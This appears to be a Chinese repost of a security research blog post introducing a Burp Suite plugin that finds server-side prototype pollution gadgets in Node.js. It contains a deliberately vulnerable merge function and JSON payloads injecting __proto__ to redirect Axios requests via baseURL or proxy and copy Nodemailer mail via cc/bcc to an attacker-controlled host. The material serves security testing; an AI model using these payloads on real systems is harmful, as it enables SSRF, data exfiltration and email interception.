原型污染攻擊工具揭秘:Prototype Pollution Gadgets Finder
引言
原型污染最近已成為Web安全領域一種流行的漏洞。這種漏洞發生在攻擊者利用JavaScript原型繼承的特性來修改對象原型時。通過這種方式,他們可以注入惡意代碼或改變應用程序的行為,可能導致敏感信息泄露、類型混淆漏洞,甚至在某些條件下實現遠程代碼執行。
// 瀏覽器控制臺中的原型污染示例
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // 輸出:true
要完全理解這種漏洞的利用,關鍵是要了解"源"(sources)和"小工具"(gadgets)的概念。
源:在原型污染背景下,源指的是執行遞歸賦值而未適當驗證涉及對象的代碼片段。這種行為為攻擊者修改對象原型創造了途徑。原型污染的主要來源包括:
- 自定義代碼:開發人員編寫的代碼,在處理用戶輸入前沒有充分檢查或清理
- 易受攻擊的庫:包含漏洞的外部庫,通常通過未能驗證合并或擴展對象安全性的遞歸賦值導致
// 導致原型污染的遞歸賦值示例
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
小工具:小工具指的是利用原型污染漏洞實現攻擊的方法或代碼片段。通過操縱基礎對象的原型,攻擊者可以根據應用程序的結構和污染原型的性質,改變應用程序邏輯、獲得未經授權的訪問或執行任意代碼。
技術現狀
在深入研究我們的具體研究之前,了解現有原型污染研究的情況至關重要。
在客戶端,有豐富的研究和工具可用。對于源,GitHub上的編譯是一個極好的起點。至于小工具,各種技術文章都詳細記錄了探索和利用技術。
此外,還有設計用于在命令行和瀏覽器中自動檢測和利用此漏洞的工具,包括PP-Finder CLI工具和Burp Suite的DOM Invader功能。
然而,服務器端原型污染的研究和工具環境呈現出不同的情況:
PortSwigger的研究提供了對服務器端原型污染的基礎理解,包含各種檢測方法。但一個顯著限制是,其中一些檢測方法隨著時間的推移已經過時。更重要的是,雖然它在識別漏洞方面表現出色,但沒有擴展到使用小工具促進其實際利用。
YesWeHack的指南介紹了幾種有趣的小工具,其中一些已被納入我們的插件中。盡管有這個有價值的貢獻,但該指南偶爾會涉足可能與現實應用程序環境不完全一致的假設場景。此外,它沒有提供在黑盒測試環境中發現小工具的自動化方法。
這種概述強調了在服務器端原型污染研究中需要進一步創新,特別是在開發不僅能夠檢測而且能夠以實用、自動化方式利用此漏洞的工具。
關于插件
根據前面討論的見解,我們開發了一個用于檢測服務器端原型污染小工具的Burpsuite插件:Prototype Pollution Gadgets Finder,可在GitHub上獲取。該工具代表了Web安全領域的一種新穎方法,專注于精確識別和利用原型污染漏洞。
該插件的核心功能是從請求中獲取JSON對象,并系統地嘗試使用預定義的小工具集污染所有可能的字段。例如,給定一個JSON對象:
{
"user": "example",
"auth": false
}
插件會嘗試各種污染,例如:
{
"user": {"__proto__": <polluted_object>},
"auth": false
}
或者:
{
"user": "example",
"auth": {"__proto__": <polluted_object>}
}
我們決定創建一個新插件,而不是僅僅依賴自定義檢查(bchecks)或PortSwigger博客中強調的現有服務器端原型污染掃描器,是出于實際需要。這些工具雖然在檢測能力上很強大,但不會自動恢復檢測過程中所做的修改。鑒于某些小工具可能對系統產生不利影響或改變應用程序行為,我們的插件專門通過仔細移除檢測后的污染來解決這個問題。這一步驟對于確保利用過程不會損害應用程序的功能或穩定性至關重要。
此外,插件引入的所有小工具都在帶外(OOB)操作。這一設計選擇源于這樣的理解:污染的來源可能與應用程序代碼庫中小工具觸發的位置完全分開。因此,利用是異步發生的,依賴于等待交互的OOB技術。這種方法確保即使被污染的屬性沒有立即使用,一旦應用程序與中毒原型交互,仍然可以被利用。這展示了我們掃描方法的多樣性和深度。
發現小工具的方法論
為了發現能夠改變應用程序行為的小工具,我們的方法涉及對常見Node.js庫文檔的徹底檢查。我們專注于識別這些庫中的可選參數,這些參數在修改時可能引入安全漏洞或導致意外的應用程序行為。我們方法的一部分還包括定義描述插件中每個小工具的標準格式:
{
"payload": {"<parameter>": "<URL>"},
"description": "<Description>",
"null_payload": {"<parameter>": {}}
}
- Payload:表示用于利用漏洞的實際payload。
<URL>占位符是插入合作者URL的地方 - Description:提供小工具功能或利用漏洞的簡要說明
- Null_payload:指定應用于恢復payload所做更改的payload,有效"去污染"應用程序以防止任何意外行為
這種格式確保了一致清晰的方式來記錄和分享安全社區中的小工具,促進原型污染漏洞的識別、測試和緩解。
Axios庫
Axios廣泛用于發出HTTP請求。通過檢查Axios文檔和請求配置選項,我們確定了某些參數(如baseURL和proxy)可能被惡意利用。
易受攻擊的代碼示例:
app.get("/get-api-key", async (req, res) => {
try {
const instance = axios.create({baseURL: "https://doyensec.com"});
const response = await instance.get("/?api-key=<API_KEY>");
}
});
小工具解釋:操縱baseURL參數允許將HTTP請求重定向到攻擊者控制的域,可能促進服務器端請求偽造(SSRF)或數據泄露。對于proxy參數,利用的關鍵在于能夠建議出站的HTTP請求可以通過攻擊者控制的代理重新路由。雖然Burp Collaborator本身不支持作為代理直接捕獲或操縱這些請求,但它可以檢測應用程序發起的DNS查找這一微妙事實至關重要。能夠觀察到對我們控制域的DNS請求,由污染代理配置觸發,表明應用程序接受了這種中毒配置。它突出了潛在的漏洞,而無需直接觀察代理流量。這種洞察使我們能夠推斷,通過正確的設置(在Burp Collaborator之外),可以部署實際的代理來完全攔截和操縱HTTP通信,展示漏洞的潛在可利用性。
Axios的小工具:
{
"payload": {"baseURL": "https://<URL>"},
"description": "修改'baseURL',導致Axios等庫中的SSRF或敏感數據暴露。",
"null_payload": {"baseURL": {}}
},
{
"payload": {"proxy": {"protocol": "http", "host": "<URL>", "port": 80}},
"description": "設置代理以操縱或攔截HTTP請求,可能泄露敏感信息。",
"null_payload": {"proxy": {}}
}
Nodemailer庫
Nodemailer是我們探索的另一個庫,主要用于發送電子郵件。Nodemailer文檔顯示,像cc和bcc這樣的參數可能被利用來攔截電子郵件通信。
易受攻擊的代碼示例:
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
res.status(500).send('500!');
} else {
res.send('200 OK');
}
});
小工具解釋:通過在電子郵件配置中將我們自己添加為cc或bcc收件人,我們可能攔截平臺發送的所有電子郵件,獲得對敏感信息或通信的訪問權限。
Nodemailer的小工具:
{
"payload": {"cc": "email@<URL>"},
"description": "在電子郵件庫中添加CC地址,可能攔截所有平臺電子郵件。",
"null_payload": {"cc": {}}
},
{
"payload": {"bcc": "email@<URL>"},
"description": "在電子郵件庫中添加BCC地址,類似于'cc',用于攔截電子郵件。",
"null_payload": {"bcc": {}}
}
我們的方法強調了理解庫文檔以及可選參數如何被惡意利用的重要性。我們鼓勵社區通過識別新小工具并分享它們來做出貢獻。請訪問我們的GitHub存儲庫獲取完整的安裝指南并開始使用該工具。
更多精彩內容 請關注我的個人公眾號 公眾號(辦公AI智能小助手)
對網絡安全、黑客技術感興趣的朋友可以關注我的安全公眾號(網絡安全技術點滴分享)
公眾號二維碼

公眾號二維碼


浙公網安備 33010602011771號